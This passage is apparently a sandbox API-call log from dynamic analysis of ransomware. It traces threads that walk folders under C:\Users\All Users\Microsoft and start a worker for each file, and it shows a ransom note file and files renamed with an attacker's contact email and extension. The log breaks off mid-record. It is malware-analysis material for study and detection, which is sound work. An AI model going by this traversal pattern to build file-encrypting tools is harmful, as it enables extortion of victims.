(_String1="D0E731-Readme.txt", _String2="..") returned 1 [0171.034] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x84e4d036, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0171.034] wcscmp (_String1="Pending.GRL.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0171.034] wcscmp (_String1="Pending.GRL.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0171.034] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9a) returned 0x2fee198 [0171.034] wcscpy (in: _Dest=0x2fee198, _Source="C:\\Users\\All Users\\Microsoft\\MF" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF") returned="C:\\Users\\All Users\\Microsoft\\MF" [0171.034] wcscat (in: _Dest=0x2fee198, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\") returned="C:\\Users\\All Users\\Microsoft\\MF\\" [0171.034] wcscat (in: _Dest=0x2fee198, _Source="Pending.GRL.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\MF\\Pending.GRL.mailto[kokoklock@cock.li].d0e731" [0171.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fee198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c4 [0171.035] FindNextFileW (in: hFindFile=0x2f7fc20, lpFindFileData=0x2f9b800 | out: lpFindFileData=0x2f9b800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x84e4d036, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3b3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0171.035] FindClose (in: hFindFile=0x2f7fc20 | out: hFindFile=0x2f7fc20) returned 1 [0171.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9b800) returned 1 [0171.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1bd0) returned 1 [0171.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87668) returned 1 [0171.035] RtlExitUserThread (Status=0x0) Thread: id = 1815 os_tid = 0xf24 [0169.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa49c0 [0169.316] wcscpy (in: _Dest=0x2fa49c0, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0169.316] wcscat (in: _Dest=0x2fa49c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\" [0169.316] wcscat (in: _Dest=0x2fa49c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\*") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\*" [0169.316] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9cda8 [0169.316] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ffa0 [0169.317] wcscmp (_String1=".", _String2=".") returned 0 [0169.317] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.317] wcscmp (_String1="..", _String2=".") returned 1 [0169.317] wcscmp (_String1="..", _String2="..") returned 0 [0169.317] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0169.317] wcscmp (_String1="BreadcrumbStore", _String2=".") returned 1 [0169.317] wcscmp (_String1="BreadcrumbStore", _String2="..") returned 1 [0169.317] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x74) returned 0x2f8b190 [0169.317] wcscpy (in: _Dest=0x2f8b190, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework") returned="C:\\Users\\All Users\\Microsoft\\NetFramework" [0169.317] wcscat (in: _Dest=0x2f8b190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\" [0169.317] wcscat (in: _Dest=0x2f8b190, _Source="BreadcrumbStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" [0171.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f8b190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680 [0171.031] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2f9cda8 | out: lpFindFileData=0x2f9cda8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0171.031] FindClose (in: hFindFile=0x2f7ffa0 | out: hFindFile=0x2f7ffa0) returned 1 [0171.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9cda8) returned 1 [0171.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa49c0) returned 1 [0171.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa1b0) returned 1 [0171.031] RtlExitUserThread (Status=0x0) Thread: id = 1816 os_tid = 0xf28 [0169.317] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2f88bb0 [0169.317] wcscpy (in: _Dest=0x2f88bb0, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0169.317] wcscat (in: _Dest=0x2f88bb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0169.317] wcscat (in: _Dest=0x2f88bb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\*" [0169.318] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9d010 [0169.318] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ffe0 [0169.318] wcscmp (_String1=".", _String2=".") returned 0 [0169.318] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.318] wcscmp (_String1="..", _String2=".") returned 1 [0169.318] wcscmp (_String1="..", _String2="..") returned 0 [0169.319] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0169.319] wcscmp (_String1="Connections", _String2=".") returned 1 [0169.319] wcscmp (_String1="Connections", _String2="..") returned 1 [0169.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f6c140 [0169.319] wcscpy (in: _Dest=0x2f6c140, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0169.319] wcscat (in: _Dest=0x2f6c140, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0169.319] wcscat (in: _Dest=0x2f6c140, _Source="Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0171.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6c140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0171.028] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x879375d0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x879375d0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0171.028] wcscmp (_String1="Downloader", _String2=".") returned 1 [0171.028] wcscmp (_String1="Downloader", _String2="..") returned 1 [0171.028] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87c98 [0171.028] wcscpy (in: _Dest=0x2f87c98, _Source="C:\\Users\\All Users\\Microsoft\\Network" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network") returned="C:\\Users\\All Users\\Microsoft\\Network" [0171.028] wcscat (in: _Dest=0x2f87c98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\" [0171.028] wcscat (in: _Dest=0x2f87c98, _Source="Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0171.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f87c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9c0 [0171.029] FindNextFileW (in: hFindFile=0x2f7ffe0, lpFindFileData=0x2f9d010 | out: lpFindFileData=0x2f9d010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x879375d0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x879375d0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 0 [0171.029] FindClose (in: hFindFile=0x2f7ffe0 | out: hFindFile=0x2f7ffe0) returned 1 [0171.029] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9d010) returned 1 [0171.029] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88bb0) returned 1 [0171.029] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f64430) returned 1 [0171.029] RtlExitUserThread (Status=0x0) Thread: id = 1817 os_tid = 0xf2c [0169.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4c) returned 0x2f88d10 [0169.319] wcscpy (in: _Dest=0x2f88d10, _Source="C:\\Users\\All Users\\Microsoft\\Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office") returned="C:\\Users\\All Users\\Microsoft\\Office" [0169.319] wcscat (in: _Dest=0x2f88d10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office\\") returned="C:\\Users\\All Users\\Microsoft\\Office\\" [0169.319] wcscat (in: _Dest=0x2f88d10, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office\\*") returned="C:\\Users\\All Users\\Microsoft\\Office\\*" [0169.319] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9ba68 [0169.319] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\*", lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f800a0 [0169.320] wcscmp (_String1=".", _String2=".") returned 0 [0169.320] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.320] wcscmp (_String1="..", _String2=".") returned 1 [0169.320] wcscmp (_String1="..", _String2="..") returned 0 [0169.320] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 1 [0169.320] wcscmp (_String1="ClickToRunPackageLocker", _String2=".") returned 1 [0169.320] wcscmp (_String1="ClickToRunPackageLocker", _String2="..") returned 1 [0169.320] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2f8b210 [0169.320] wcscpy (in: _Dest=0x2f8b210, _Source="C:\\Users\\All Users\\Microsoft\\Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office") returned="C:\\Users\\All Users\\Microsoft\\Office" [0169.320] wcscat (in: _Dest=0x2f8b210, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office\\") returned="C:\\Users\\All Users\\Microsoft\\Office\\" [0169.320] wcscat (in: _Dest=0x2f8b210, _Source="ClickToRunPackageLocker" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker") returned="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker" [0171.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8b210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0171.025] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2f9ba68 | out: lpFindFileData=0x2f9ba68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClickToRunPackageLocker", cAlternateFileName="CLICKT~1")) returned 0 [0171.025] FindClose (in: hFindFile=0x2f800a0 | out: hFindFile=0x2f800a0) returned 1 [0171.025] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9ba68) returned 1 [0171.025] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88d10) returned 1 [0171.025] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa1040) returned 1 [0171.025] RtlExitUserThread (Status=0x0) Thread: id = 1818 os_tid = 0xf30 [0169.320] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4a20 [0169.320] wcscpy (in: _Dest=0x2fa4a20, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0169.320] wcscat (in: _Dest=0x2fa4a20, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0169.320] wcscat (in: _Dest=0x2fa4a20, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\*" [0169.321] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9bcd0 [0169.321] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\*", lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f800e0 [0169.322] wcscmp (_String1=".", _String2=".") returned 0 [0169.322] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfee8021d, ftLastAccessTime.dwHighDateTime=0x1d336df, ftLastWriteTime.dwLowDateTime=0xfee8021d, ftLastWriteTime.dwHighDateTime=0x1d336df, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.323] wcscmp (_String1="..", _String2=".") returned 1 [0169.323] wcscmp (_String1="..", _String2="..") returned 0 [0169.323] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60aed0fe, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x60aed0fe, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x60aed0fe, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="countrytable.xml", cAlternateFileName="")) returned 1 [0169.323] wcscmp (_String1="countrytable.xml", _String2=".") returned 1 [0169.323] wcscmp (_String1="countrytable.xml", _String2="..") returned 1 [0169.323] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x76) returned 0x2f8b290 [0169.323] wcscpy (in: _Dest=0x2f8b290, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0169.323] wcscat (in: _Dest=0x2f8b290, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0169.323] wcscat (in: _Dest=0x2f8b290, _Source="countrytable.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" [0171.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8b290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0171.004] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ad69c04, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ad69c04, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", cAlternateFileName="{18DCF~1")) returned 1 [0171.004] wcscmp (_String1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", _String2=".") returned 1 [0171.004] wcscmp (_String1="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}", _String2="..") returned 1 [0171.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f91be0 [0171.004] wcscpy (in: _Dest=0x2f91be0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.004] wcscat (in: _Dest=0x2f91be0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.004] wcscat (in: _Dest=0x2f91be0, _Source="{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}" [0171.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f91be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0171.005] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ace3a03, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ace3a03, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{1e05dd5d-a022-46c5-963c-b20de341170f}", cAlternateFileName="{1E05D~1")) returned 1 [0171.005] wcscmp (_String1="{1e05dd5d-a022-46c5-963c-b20de341170f}", _String2=".") returned 1 [0171.005] wcscmp (_String1="{1e05dd5d-a022-46c5-963c-b20de341170f}", _String2="..") returned 1 [0171.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f920b0 [0171.005] wcscpy (in: _Dest=0x2f920b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning") returned="C:\\Users\\All Users\\Microsoft\\Provisioning" [0171.005] wcscat (in: _Dest=0x2f920b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\" [0171.005] wcscat (in: _Dest=0x2f920b0, _Source="{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0171.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f920b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c [0171.006] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2f9bcd0 | out: lpFindFileData=0x2f9bcd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ac5a2c5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac5a2c5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{23cb517f-5073-4e96-a202-7fe6122a2271}", cAlternateFileName="{23CB5~1")) returned 1 [0171.006] 